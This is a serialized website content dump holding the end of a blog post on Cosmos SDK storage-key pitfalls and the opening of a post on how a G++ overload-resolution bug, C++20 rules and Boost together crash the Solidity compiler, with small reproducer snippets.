7},"    keys",{"type":21,"tag":85,"props":89969,"children":89970},{"style":169},[89971],{"type":26,"value":76878},{"type":21,"tag":85,"props":89973,"children":89974},{"style":1021},[89975],{"type":26,"value":86026},{"type":21,"tag":85,"props":89977,"children":89978},{"style":114},[89979],{"type":26,"value":1439},{"type":21,"tag":85,"props":89981,"children":89982},{"style":102},[89983],{"type":26,"value":67561},{"type":21,"tag":85,"props":89985,"children":89986},{"style":114},[89987],{"type":26,"value":3016},{"type":21,"tag":85,"props":89989,"children":89990},{"style":108},[89991],{"type":26,"value":30110},{"type":21,"tag":85,"props":89993,"children":89994},{"style":114},[89995],{"type":26,"value":15830},{"type":21,"tag":85,"props":89997,"children":89998},{"style":169},[89999],{"type":26,"value":3052},{"type":21,"tag":85,"props":90001,"children":90002},{"style":108},[90003],{"type":26,"value":89955},{"type":21,"tag":85,"props":90005,"children":90006},{"style":114},[90007],{"type":26,"value":2485},{"type":21,"tag":85,"props":90009,"children":90010},{"class":87,"line":151},[90011,90015,90019,90023,90027,90031,90035,90040],{"type":21,"tag":85,"props":90012,"children":90013},{"style":2885},[90014],{"type":26,"value":3809},{"type":21,"tag":85,"props":90016,"children":90017},{"style":120},[90018],{"type":26,"value":3814},{"type":21,"tag":85,"props":90020,"children":90021},{"style":114},[90022],{"type":26,"value":256},{"type":21,"tag":85,"props":90024,"children":90025},{"style":120},[90026],{"type":26,"value":48953},{"type":21,"tag":85,"props":90028,"children":90029},{"style":169},[90030],{"type":26,"value":76878},{"type":21,"tag":85,"props":90032,"children":90033},{"style":2885},[90034],{"type":26,"value":77861},{"type":21,"tag":85,"props":90036,"children":90037},{"style":120},[90038],{"type":26,"value":90039}," names",{"type":21,"tag":85,"props":90041,"children":90042},{"style":114},[90043],{"type":26,"value":148},{"type":21,"tag":85,"props":90045,"children":90046},{"class":87,"line":160},[90047,90051,90055,90059,90063,90067,90072,90076,90080],{"type":21,"tag":85,"props":90048,"children":90049},{"style":120},[90050],{"type":26,"value":25772},{"type":21,"tag":85,"props":90052,"children":90053},{"style":114},[90054],{"type":26,"value":3016},{"type":21,"tag":85,"props":90056,"children":90057},{"style":120},[90058],{"type":26,"value":48953},{"type":21,"tag":85,"props":90060,"children":90061},{"style":114},[90062],{"type":26,"value":3026},{"type":21,"tag":85,"props":90064,"children":90065},{"style":169},[90066],{"type":26,"value":741},{"type":21,"tag":85,"props":90068,"children":90069},{"style":1021},[90070],{"type":26,"value":90071}," NewKVStoreKey",{"type":21,"tag":85,"props":90073,"children":90074},{"style":114},[90075],{"type":26,"value":1439},{"type":21,"tag":85,"props":90077,"children":90078},{"style":120},[90079],{"type":26,"value":48953},{"type":21,"tag":85,"props":90081,"children":90082},{"style":114},[90083],{"type":26,"value":2485},{"type":21,"tag":85,"props":90085,"children":90086},{"class":87,"line":185},[90087],{"type":21,"tag":85,"props":90088,"children":90089},{"style":114},[90090],{"type":26,"value":507},{"type":21,"tag":85,"props":90092,"children":90093},{"class":87,"line":501},[90094],{"type":21,"tag":85,"props":90095,"children":90096},{"emptyLinePlaceholder":16},[90097],{"type":26,"value":703},{"type":21,"tag":85,"props":90099,"children":90100},{"class":87,"line":697},[90101,90105],{"type":21,"tag":85,"props":90102,"children":90103},{"style":2885},[90104],{"type":26,"value":17411},{"type":21,"tag":85,"props":90106,"children":90107},{"style":120},[90108],{"type":26,"value":90109}," keys\n",{"type":21,"tag":85,"props":90111,"children":90112},{"class":87,"line":706},[90113],{"type":21,"tag":85,"props":90114,"children":90115},{"style":114},[90116],{"type":26,"value":2671},{"type":21,"tag":22,"props":90118,"children":90119},{},[90120,90122,90127,90129,90134,90136,90141],{"type":26,"value":90121},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":21,"tag":66,"props":90123,"children":90125},{"className":90124},[],[90126],{"type":26,"value":78924},{"type":26,"value":90128}," will refuse to run if any ",{"type":21,"tag":66,"props":90130,"children":90132},{"className":90131},[],[90133],{"type":26,"value":85439},{"type":26,"value":90135}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":21,"tag":66,"props":90137,"children":90139},{"className":90138},[],[90140],{"type":26,"value":85439},{"type":26,"value":90142}," level.",{"type":21,"tag":22,"props":90144,"children":90145},{},[90146,90148,90155],{"type":26,"value":90147},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":21,"tag":335,"props":90149,"children":90152},{"href":90150,"rel":90151},"https://github.com/cosmos/cosmos-sdk/issues/12661",[339],[90153],{"type":26,"value":90154},"incorrect iterator behavior",{"type":26,"value":73},{"type":21,"tag":22,"props":90157,"children":90158},{},[90159,90161,90168],{"type":26,"value":90160},"Notably, gradual adoption of the ",{"type":21,"tag":335,"props":90162,"children":90165},{"href":90163,"rel":90164},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[339],[90166],{"type":26,"value":90167},"collections",{"type":26,"value":90169}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":21,"tag":54,"props":90171,"children":90172},{"id":29375},[90173],{"type":26,"value":19373},{"type":21,"tag":22,"props":90175,"children":90176},{},[90177],{"type":26,"value":90178},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":21,"tag":22,"props":90180,"children":90181},{},[90182],{"type":26,"value":90183},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":21,"tag":3632,"props":90185,"children":90186},{},[90187],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":90189},[90190,90191,90194,90197,90200,90203,90206,90209],{"id":29458,"depth":98,"text":29461},{"id":76343,"depth":98,"text":76346,"children":90192},[90193],{"id":77148,"depth":151,"text":77151},{"id":77744,"depth":98,"text":77747,"children":90195},[90196],{"id":78393,"depth":151,"text":77151},{"id":78890,"depth":98,"text":78893,"children":90198},[90199],{"id":80190,"depth":151,"text":77151},{"id":81534,"depth":98,"text":81537,"children":90201},[90202],{"id":82072,"depth":151,"text":77151},{"id":83591,"depth":98,"text":83594,"children":90204},[90205],{"id":84471,"depth":151,"text":77151},{"id":85425,"depth":98,"text":85428,"children":90207},[90208],{"id":89851,"depth":151,"text":77151},{"id":29375,"depth":98,"text":19373},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":90214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90215,"description":90216,"author":90217,"image":90218,"date":90220,"tags":90221,"isFeatured":16,"onBlogPage":16,"body":90222,"_type":3642,"_id":92931,"_source":3644,"_file":92932,"_stem":92933,"_extension":3647},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":90219,"height":14041,"width":14041},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[5244,29453],{"type":18,"children":90223,"toc":92915},[90224,90229,90366,90371,90376,90381,90386,90499,90504,90509,90514,90554,90567,90572,90590,90595,90598,90604,90618,90631,90636,90649,90654,90666,90679,90684,90687,90693,90699,90756,90761,90767,90781,90816,90824,90832,90852,90858,90863,91303,91311,91355,91360,91368,91376,91415,91420,91428,91433,91436,91442,91448,91473,91485,91512,91545,91550,91553,91559,91578,92096,92109,92127,92150,92161,92166,92269,92274,92279,92293,92298,92374,92392,92397,92400,92406,92418,92430,92770,92775,92793,92798,92801,92807,92812,92830,92850,92853,92859,92878,92881,92885,92890,92901,92906,92911],{"type":21,"tag":22,"props":90225,"children":90226},{},[90227],{"type":26,"value":90228},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":21,"tag":75,"props":90230,"children":90232},{"code":90231,"language":5244,"meta":7,"className":5245,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[90233],{"type":21,"tag":66,"props":90234,"children":90235},{"__ignoreMap":7},[90236,90244,90262,90269,90286,90328,90352,90359],{"type":21,"tag":85,"props":90237,"children":90238},{"class":87,"line":88},[90239],{"type":21,"tag":85,"props":90240,"children":90241},{"style":92},[90242],{"type":26,"value":90243},"// SPDX-License-Identifier: UNLICENSED\n",{"type":21,"tag":85,"props":90245,"children":90246},{"class":87,"line":98},[90247,90252,90257],{"type":21,"tag":85,"props":90248,"children":90249},{"style":2885},[90250],{"type":26,"value":90251},"pragma",{"type":21,"tag":85,"props":90253,"children":90254},{"style":102},[90255],{"type":26,"value":90256}," solidity",{"type":21,"tag":85,"props":90258,"children":90259},{"style":114},[90260],{"type":26,"value":90261}," ^0.8.25;\n",{"type":21,"tag":85,"props":90263,"children":90264},{"class":87,"line":151},[90265],{"type":21,"tag":85,"props":90266,"children":90267},{"emptyLinePlaceholder":16},[90268],{"type":26,"value":703},{"type":21,"tag":85,"props":90270,"children":90271},{"class":87,"line":160},[90272,90277,90282],{"type":21,"tag":85,"props":90273,"children":90274},{"style":102},[90275],{"type":26,"value":90276},"contract",{"type":21,"tag":85,"props":90278,"children":90279},{"style":108},[90280],{"type":26,"value":90281}," A",{"type":21,"tag":85,"props":90283,"children":90284},{"style":114},[90285],{"type":26,"value":148},{"type":21,"tag":85,"props":90287,"children":90288},{"class":87,"line":185},[90289,90294,90299,90303,90307,90312,90316,90320,90324],{"type":21,"tag":85,"props":90290,"children":90291},{"style":102},[90292],{"type":26,"value":90293},"    function",{"type":21,"tag":85,"props":90295,"children":90296},{"style":1021},[90297],{"type":26,"value":90298}," a",{"type":21,"tag":85,"props":90300,"children":90301},{"style":114},[90302],{"type":26,"value":14461},{"type":21,"tag":85,"props":90304,"children":90305},{"style":102},[90306],{"type":26,"value":62133},{"type":21,"tag":85,"props":90308,"children":90309},{"style":102},[90310],{"type":26,"value":90311}," pure",{"type":21,"tag":85,"props":90313,"children":90314},{"style":2885},[90315],{"type":26,"value":76455},{"type":21,"tag":85,"props":90317,"children":90318},{"style":114},[90319],{"type":26,"value":717},{"type":21,"tag":85,"props":90321,"children":90322},{"style":108},[90323],{"type":26,"value":46622},{"type":21,"tag":85,"props":90325,"children":90326},{"style":114},[90327],{"type":26,"value":15222},{"type":21,"tag":85,"props":90329,"children":90330},{"class":87,"line":501},[90331,90335,90339,90344,90348],{"type":21,"tag":85,"props":90332,"children":90333},{"style":2885},[90334],{"type":26,"value":16164},{"type":21,"tag":85,"props":90336,"children":90337},{"style":2285},[90338],{"type":26,"value":3279},{"type":21,"tag":85,"props":90340,"children":90341},{"style":169},[90342],{"type":26,"value":90343}," **",{"type":21,"tag":85,"props":90345,"children":90346},{"style":2285},[90347],{"type":26,"value":2288},{"type":21,"tag":85,"props":90349,"children":90350},{"style":114},[90351],{"type":26,"value":2535},{"type":21,"tag":85,"props":90353,"children":90354},{"class":87,"line":697},[90355],{"type":21,"tag":85,"props":90356,"children":90357},{"style":114},[90358],{"type":26,"value":507},{"type":21,"tag":85,"props":90360,"children":90361},{"class":87,"line":706},[90362],{"type":21,"tag":85,"props":90363,"children":90364},{"style":114},[90365],{"type":26,"value":2671},{"type":21,"tag":22,"props":90367,"children":90368},{},[90369],{"type":26,"value":90370},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":21,"tag":22,"props":90372,"children":90373},{},[90374],{"type":26,"value":90375},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":21,"tag":22,"props":90377,"children":90378},{},[90379],{"type":26,"value":90380},"And yet, it crashes.",{"type":21,"tag":22,"props":90382,"children":90383},{},[90384],{"type":26,"value":90385},"Another minimal example?",{"type":21,"tag":75,"props":90387,"children":90389},{"code":90388,"language":5244,"meta":7,"className":5245,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[90390],{"type":21,"tag":66,"props":90391,"children":90392},{"__ignoreMap":7},[90393,90400,90415,90422,90437,90464,90485,90492],{"type":21,"tag":85,"props":90394,"children":90395},{"class":87,"line":88},[90396],{"type":21,"tag":85,"props":90397,"children":90398},{"style":92},[90399],{"type":26,"value":90243},{"type":21,"tag":85,"props":90401,"children":90402},{"class":87,"line":98},[90403,90407,90411],{"type":21,"tag":85,"props":90404,"children":90405},{"style":2885},[90406],{"type":26,"value":90251},{"type":21,"tag":85,"props":90408,"children":90409},{"style":102},[90410],{"type":26,"value":90256},{"type":21,"tag":85,"props":90412,"children":90413},{"style":114},[90414],{"type":26,"value":90261},{"type":21,"tag":85,"props":90416,"children":90417},{"class":87,"line":151},[90418],{"type":21,"tag":85,"props":90419,"children":90420},{"emptyLinePlaceholder":16},[90421],{"type":26,"value":703},{"type":21,"tag":85,"props":90423,"children":90424},{"class":87,"line":160},[90425,90429,90433],{"type":21,"tag":85,"props":90426,"children":90427},{"style":102},[90428],{"type":26,"value":90276},{"type":21,"tag":85,"props":90430,"children":90431},{"style":108},[90432],{"type":26,"value":90281},{"type":21,"tag":85,"props":90434,"children":90435},{"style":114},[90436],{"type":26,"value":148},{"type":21,"tag":85,"props":90438,"children":90439},{"class":87,"line":185},[90440,90444,90448,90452,90456,90460],{"type":21,"tag":85,"props":90441,"children":90442},{"style":102},[90443],{"type":26,"value":90293},{"type":21,"tag":85,"props":90445,"children":90446},{"style":1021},[90447],{"type":26,"value":90298},{"type":21,"tag":85,"props":90449,"children":90450},{"style":114},[90451],{"type":26,"value":14461},{"type":21,"tag":85,"props":90453,"children":90454},{"style":102},[90455],{"type":26,"value":62133},{"type":21,"tag":85,"props":90457,"children":90458},{"style":102},[90459],{"type":26,"value":90311},{"type":21,"tag":85,"props":90461,"children":90462},{"style":114},[90463],{"type":26,"value":148},{"type":21,"tag":85,"props":90465,"children":90466},{"class":87,"line":501},[90467,90472,90476,90480],{"type":21,"tag":85,"props":90468,"children":90469},{"style":108},[90470],{"type":26,"value":90471},"        uint256",{"type":21,"tag":85,"props":90473,"children":90474},{"style":114},[90475],{"type":26,"value":3016},{"type":21,"tag":85,"props":90477,"children":90478},{"style":2285},[90479],{"type":26,"value":4779},{"type":21,"tag":85,"props":90481,"children":90482},{"style":114},[90483],{"type":26,"value":90484},"] data;\n",{"type":21,"tag":85,"props":90486,"children":90487},{"class":87,"line":697},[90488],{"type":21,"tag":85,"props":90489,"children":90490},{"style":114},[90491],{"type":26,"value":507},{"type":21,"tag":85,"props":90493,"children":90494},{"class":87,"line":706},[90495],{"type":21,"tag":85,"props":90496,"children":90497},{"style":114},[90498],{"type":26,"value":2671},{"type":21,"tag":22,"props":90500,"children":90501},{},[90502],{"type":26,"value":90503},"Still crashes.",{"type":21,"tag":22,"props":90505,"children":90506},{},[90507],{"type":26,"value":90508},"So what’s going on?",{"type":21,"tag":22,"props":90510,"children":90511},{},[90512],{"type":26,"value":90513},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":21,"tag":75,"props":90515,"children":90517},{"code":90516,"language":29555,"meta":7,"className":29553,"style":7},"if (*lengthValue == 0) { ... }\n",[90518],{"type":21,"tag":66,"props":90519,"children":90520},{"__ignoreMap":7},[90521],{"type":21,"tag":85,"props":90522,"children":90523},{"class":87,"line":88},[90524,90528,90532,90536,90541,90545,90549],{"type":21,"tag":85,"props":90525,"children":90526},{"style":2885},[90527],{"type":26,"value":15999},{"type":21,"tag":85,"props":90529,"children":90530},{"style":114},[90531],{"type":26,"value":717},{"type":21,"tag":85,"props":90533,"children":90534},{"style":169},[90535],{"type":26,"value":3052},{"type":21,"tag":85,"props":90537,"children":90538},{"style":114},[90539],{"type":26,"value":90540},"lengthValue ",{"type":21,"tag":85,"props":90542,"children":90543},{"style":169},[90544],{"type":26,"value":2936},{"type":21,"tag":85,"props":90546,"children":90547},{"style":2285},[90548],{"type":26,"value":2830},{"type":21,"tag":85,"props":90550,"children":90551},{"style":114},[90552],{"type":26,"value":90553},") { ... }\n",{"type":21,"tag":22,"props":90555,"children":90556},{},[90557,90559,90565],{"type":26,"value":90558},"That single comparison — a ",{"type":21,"tag":66,"props":90560,"children":90562},{"className":90561},[],[90563],{"type":26,"value":90564},"boost::rational",{"type":26,"value":90566}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":21,"tag":22,"props":90568,"children":90569},{},[90570],{"type":26,"value":90571},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":21,"tag":17108,"props":90573,"children":90574},{},[90575,90580,90585],{"type":21,"tag":845,"props":90576,"children":90577},{},[90578],{"type":26,"value":90579},"A 12-year-old overload resolution bug in G++",{"type":21,"tag":845,"props":90581,"children":90582},{},[90583],{"type":26,"value":90584},"An outdated symmetric comparison pattern in Boost",{"type":21,"tag":845,"props":90586,"children":90587},{},[90588],{"type":26,"value":90589},"A subtle but impactful rewrite rule in C++20",{"type":21,"tag":22,"props":90591,"children":90592},{},[90593],{"type":26,"value":90594},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":21,"tag":19218,"props":90596,"children":90597},{},[],{"type":21,"tag":54,"props":90599,"children":90601},{"id":90600},"background-the-setup",[90602],{"type":26,"value":90603},"Background: The Setup",{"type":21,"tag":22,"props":90605,"children":90606},{},[90607,90609,90616],{"type":26,"value":90608},"If you follow the ",{"type":21,"tag":335,"props":90610,"children":90613},{"href":90611,"rel":90612},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[339],[90614],{"type":26,"value":90615},"Solidity build documentation (v0.8.30)",{"type":26,"value":90617},", you'll see it recommends:",{"type":21,"tag":17108,"props":90619,"children":90620},{},[90621,90626],{"type":21,"tag":845,"props":90622,"children":90623},{},[90624],{"type":26,"value":90625},"Boost ≥ 1.67",{"type":21,"tag":845,"props":90627,"children":90628},{},[90629],{"type":26,"value":90630},"GCC ≥ 11",{"type":21,"tag":22,"props":90632,"children":90633},{},[90634],{"type":26,"value":90635},"Ubuntu 22.04, for example, ships with:",{"type":21,"tag":17108,"props":90637,"children":90638},{},[90639,90644],{"type":21,"tag":845,"props":90640,"children":90641},{},[90642],{"type":26,"value":90643},"G++ 11.4.0",{"type":21,"tag":845,"props":90645,"children":90646},{},[90647],{"type":26,"value":90648},"Boost 1.74.0",{"type":21,"tag":22,"props":90650,"children":90651},{},[90652],{"type":26,"value":90653},"So far, so good.",{"type":21,"tag":22,"props":90655,"children":90656},{},[90657,90659,90664],{"type":26,"value":90658},"However, Solidity enabled ",{"type":21,"tag":873,"props":90660,"children":90661},{},[90662],{"type":26,"value":90663},"C++20",{"type":26,"value":90665}," in January 2025:",{"type":21,"tag":3712,"props":90667,"children":90668},{},[90669],{"type":21,"tag":22,"props":90670,"children":90671},{},[90672],{"type":21,"tag":335,"props":90673,"children":90676},{"href":90674,"rel":90675},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[339],[90677],{"type":26,"value":90678},"Enable C++20 in Solidity",{"type":21,"tag":22,"props":90680,"children":90681},{},[90682],{"type":26,"value":90683},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":21,"tag":19218,"props":90685,"children":90686},{},[],{"type":21,"tag":54,"props":90688,"children":90690},{"id":90689},"part-i-a-12-year-old-g-bug-in-overload-resolution",[90691],{"type":26,"value":90692},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":21,"tag":10022,"props":90694,"children":90696},{"id":90695},"whats-overload-resolution",[90697],{"type":26,"value":90698},"What’s Overload Resolution?",{"type":21,"tag":22,"props":90700,"children":90701},{},[90702,90704,90710,90712,90718,90720,90725,90727,90732,90734,90740,90742,90747,90748,90754],{"type":26,"value":90703},"In C++, when you write an expression like ",{"type":21,"tag":66,"props":90705,"children":90707},{"className":90706},[],[90708],{"type":26,"value":90709},"a == b",{"type":26,"value":90711},", the compiler chooses among available ",{"type":21,"tag":66,"props":90713,"children":90715},{"className":90714},[],[90716],{"type":26,"value":90717},"operator==",{"type":26,"value":90719}," implementations by comparing their ",{"type":21,"tag":873,"props":90721,"children":90722},{},[90723],{"type":26,"value":90724},"match quality",{"type":26,"value":90726},". A ",{"type":21,"tag":873,"props":90728,"children":90729},{},[90730],{"type":26,"value":90731},"member function",{"type":26,"value":90733}," like ",{"type":21,"tag":66,"props":90735,"children":90737},{"className":90736},[],[90738],{"type":26,"value":90739},"a.operator==(b)",{"type":26,"value":90741}," usually has higher priority than a ",{"type":21,"tag":873,"props":90743,"children":90744},{},[90745],{"type":26,"value":90746},"non-member function",{"type":26,"value":90733},{"type":21,"tag":66,"props":90749,"children":90751},{"className":90750},[],[90752],{"type":26,"value":90753},"operator==(a, b)",{"type":26,"value":90755}," — unless the types differ too much or are ambiguous.",{"type":21,"tag":22,"props":90757,"children":90758},{},[90759],{"type":26,"value":90760},"That’s the rule. But G++ didn’t always follow it.",{"type":21,"tag":10022,"props":90762,"children":90764},{"id":90763},"the-bug",[90765],{"type":26,"value":90766},"The Bug",{"type":21,"tag":22,"props":90768,"children":90769},{},[90770,90772,90779],{"type":26,"value":90771},"In 2012, a bug was filed: ",{"type":21,"tag":335,"props":90773,"children":90776},{"href":90774,"rel":90775},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[339],[90777],{"type":26,"value":90778},"GCC Bug 53499 – overload resolution favors non-member function",{"type":26,"value":90780},". The issue? In expressions where:",{"type":21,"tag":17108,"props":90782,"children":90783},{},[90784,90804],{"type":21,"tag":845,"props":90785,"children":90786},{},[90787,90789,90795,90797,90802],{"type":26,"value":90788},"A class ",{"type":21,"tag":66,"props":90790,"children":90792},{"className":90791},[],[90793],{"type":26,"value":90794},"rational\u003CT>",{"type":26,"value":90796}," has a templated ",{"type":21,"tag":66,"props":90798,"children":90800},{"className":90799},[],[90801],{"type":26,"value":90717},{"type":26,"value":90803}," member function",{"type":21,"tag":845,"props":90805,"children":90806},{},[90807,90809,90815],{"type":26,"value":90808},"There's also a more generic free ",{"type":21,"tag":66,"props":90810,"children":90812},{"className":90811},[],[90813],{"type":26,"value":90814},"operator==(rational\u003CT>, U)",{"type":26,"value":38662},{"type":21,"tag":22,"props":90817,"children":90818},{},[90819],{"type":21,"tag":873,"props":90820,"children":90821},{},[90822],{"type":26,"value":90823},"Clang correctly chooses the member function.",{"type":21,"tag":22,"props":90825,"children":90826},{},[90827],{"type":21,"tag":873,"props":90828,"children":90829},{},[90830],{"type":26,"value":90831},"G++ (before v14) chooses the non-member function.",{"type":21,"tag":22,"props":90833,"children":90834},{},[90835,90837,90842,90844,90851],{"type":26,"value":90836},"Why? Because G++ mishandles ",{"type":21,"tag":873,"props":90838,"children":90839},{},[90840],{"type":26,"value":90841},"templated conversion + non-exact match",{"type":26,"value":90843},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":21,"tag":335,"props":90845,"children":90848},{"href":90846,"rel":90847},"https://cplusplus.github.io/CWG/issues/532.html",[339],[90849],{"type":26,"value":90850},"CWG532: Member/nonmember operator template partial ordering",{"type":26,"value":73},{"type":21,"tag":10022,"props":90853,"children":90855},{"id":90854},"a-minimal-reproducer",[90856],{"type":26,"value":90857},"A Minimal Reproducer",{"type":21,"tag":22,"props":90859,"children":90860},{},[90861],{"type":26,"value":90862},"Let’s see this in action:",{"type":21,"tag":75,"props":90864,"children":90866},{"code":90865,"language":29555,"meta":7,"className":29553,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[90867],{"type":21,"tag":66,"props":90868,"children":90869},{"__ignoreMap":7},[90870,90883,90890,90915,90931,90939,90963,91008,91036,91051,91058,91065,91072,91108,91177,91202,91217,91224,91231,91247,91272,91296],{"type":21,"tag":85,"props":90871,"children":90872},{"class":87,"line":88},[90873,90878],{"type":21,"tag":85,"props":90874,"children":90875},{"style":2885},[90876],{"type":26,"value":90877},"#include",{"type":21,"tag":85,"props":90879,"children":90880},{"style":5026},[90881],{"type":26,"value":90882}," \u003Ciostream>\n",{"type":21,"tag":85,"props":90884,"children":90885},{"class":87,"line":98},[90886],{"type":21,"tag":85,"props":90887,"children":90888},{"emptyLinePlaceholder":16},[90889],{"type":26,"value":703},{"type":21,"tag":85,"props":90891,"children":90892},{"class":87,"line":151},[90893,90897,90901,90906,90911],{"type":21,"tag":85,"props":90894,"children":90895},{"style":102},[90896],{"type":26,"value":66675},{"type":21,"tag":85,"props":90898,"children":90899},{"style":114},[90900],{"type":26,"value":3085},{"type":21,"tag":85,"props":90902,"children":90903},{"style":102},[90904],{"type":26,"value":90905},"typename",{"type":21,"tag":85,"props":90907,"children":90908},{"style":108},[90909],{"type":26,"value":90910}," IntType",{"type":21,"tag":85,"props":90912,"children":90913},{"style":114},[90914],{"type":26,"value":313},{"type":21,"tag":85,"props":90916,"children":90917},{"class":87,"line":160},[90918,90922,90927],{"type":21,"tag":85,"props":90919,"children":90920},{"style":102},[90921],{"type":26,"value":70870},{"type":21,"tag":85,"props":90923,"children":90924},{"style":108},[90925],{"type":26,"value":90926}," rational",{"type":21,"tag":85,"props":90928,"children":90929},{"style":114},[90930],{"type":26,"value":148},{"type":21,"tag":85,"props":90932,"children":90933},{"class":87,"line":185},[90934],{"type":21,"tag":85,"props":90935,"children":90936},{"style":102},[90937],{"type":26,"value":90938},"public:\n",{"type":21,"tag":85,"props":90940,"children":90941},{"class":87,"line":501},[90942,90947,90951,90955,90959],{"type":21,"tag":85,"props":90943,"children":90944},{"style":102},[90945],{"type":26,"value":90946},"    template",{"type":21,"tag":85,"props":90948,"children":90949},{"style":114},[90950],{"type":26,"value":3085},{"type":21,"tag":85,"props":90952,"children":90953},{"style":102},[90954],{"type":26,"value":70870},{"type":21,"tag":85,"props":90956,"children":90957},{"style":108},[90958],{"type":26,"value":238},{"type":21,"tag":85,"props":90960,"children":90961},{"style":114},[90962],{"type":26,"value":313},{"type":21,"tag":85,"props":90964,"children":90965},{"class":87,"line":697},[90966,90970,90975,90980,90984,90988,90992,90996,91000,91004],{"type":21,"tag":85,"props":90967,"children":90968},{"style":102},[90969],{"type":26,"value":46927},{"type":21,"tag":85,"props":90971,"children":90972},{"style":102},[90973],{"type":26,"value":90974}," operator",{"type":21,"tag":85,"props":90976,"children":90977},{"style":114},[90978],{"type":26,"value":90979},"==(",{"type":21,"tag":85,"props":90981,"children":90982},{"style":102},[90983],{"type":26,"value":10069},{"type":21,"tag":85,"props":90985,"children":90986},{"style":108},[90987],{"type":26,"value":238},{"type":21,"tag":85,"props":90989,"children":90990},{"style":102},[90991],{"type":26,"value":2238},{"type":21,"tag":85,"props":90993,"children":90994},{"style":120},[90995],{"type":26,"value":2821},{"type":21,"tag":85,"props":90997,"children":90998},{"style":114},[90999],{"type":26,"value":736},{"type":21,"tag":85,"props":91001,"children":91002},{"style":102},[91003],{"type":26,"value":10069},{"type":21,"tag":85,"props":91005,"children":91006},{"style":114},[91007],{"type":26,"value":148},{"type":21,"tag":85,"props":91009,"children":91010},{"class":87,"line":706},[91011,91016,91021,91026,91031],{"type":21,"tag":85,"props":91012,"children":91013},{"style":114},[91014],{"type":26,"value":91015},"        std::cout ",{"type":21,"tag":85,"props":91017,"children":91018},{"style":169},[91019],{"type":26,"value":91020},"\u003C\u003C",{"type":21,"tag":85,"props":91022,"children":91023},{"style":5026},[91024],{"type":26,"value":91025}," \"clang++ resolved member\"",{"type":21,"tag":85,"props":91027,"children":91028},{"style":169},[91029],{"type":26,"value":91030}," \u003C\u003C",{"type":21,"tag":85,"props":91032,"children":91033},{"style":114},[91034],{"type":26,"value":91035}," std::endl;\n",{"type":21,"tag":85,"props":91037,"children":91038},{"class":87,"line":1100},[91039,91043,91047],{"type":21,"tag":85,"props":91040,"children":91041},{"style":2885},[91042],{"type":26,"value":16164},{"type":21,"tag":85,"props":91044,"children":91045},{"style":102},[91046],{"type":26,"value":12886},{"type":21,"tag":85,"props":91048,"children":91049},{"style":114},[91050],{"type":26,"value":2535},{"type":21,"tag":85,"props":91052,"children":91053},{"class":87,"line":1339},[91054],{"type":21,"tag":85,"props":91055,"children":91056},{"style":114},[91057],{"type":26,"value":507},{"type":21,"tag":85,"props":91059,"children":91060},{"class":87,"line":1348},[91061],{"type":21,"tag":85,"props":91062,"children":91063},{"style":114},[91064],{"type":26,"value":16998},{"type":21,"tag":85,"props":91066,"children":91067},{"class":87,"line":1386},[91068],{"type":21,"tag":85,"props":91069,"children":91070},{"emptyLinePlaceholder":16},[91071],{"type":26,"value":703},{"type":21,"tag":85,"props":91073,"children":91074},{"class":87,"line":1394},[91075,91079,91083,91087,91092,91096,91100,91104],{"type":21,"tag":85,"props":91076,"children":91077},{"style":102},[91078],{"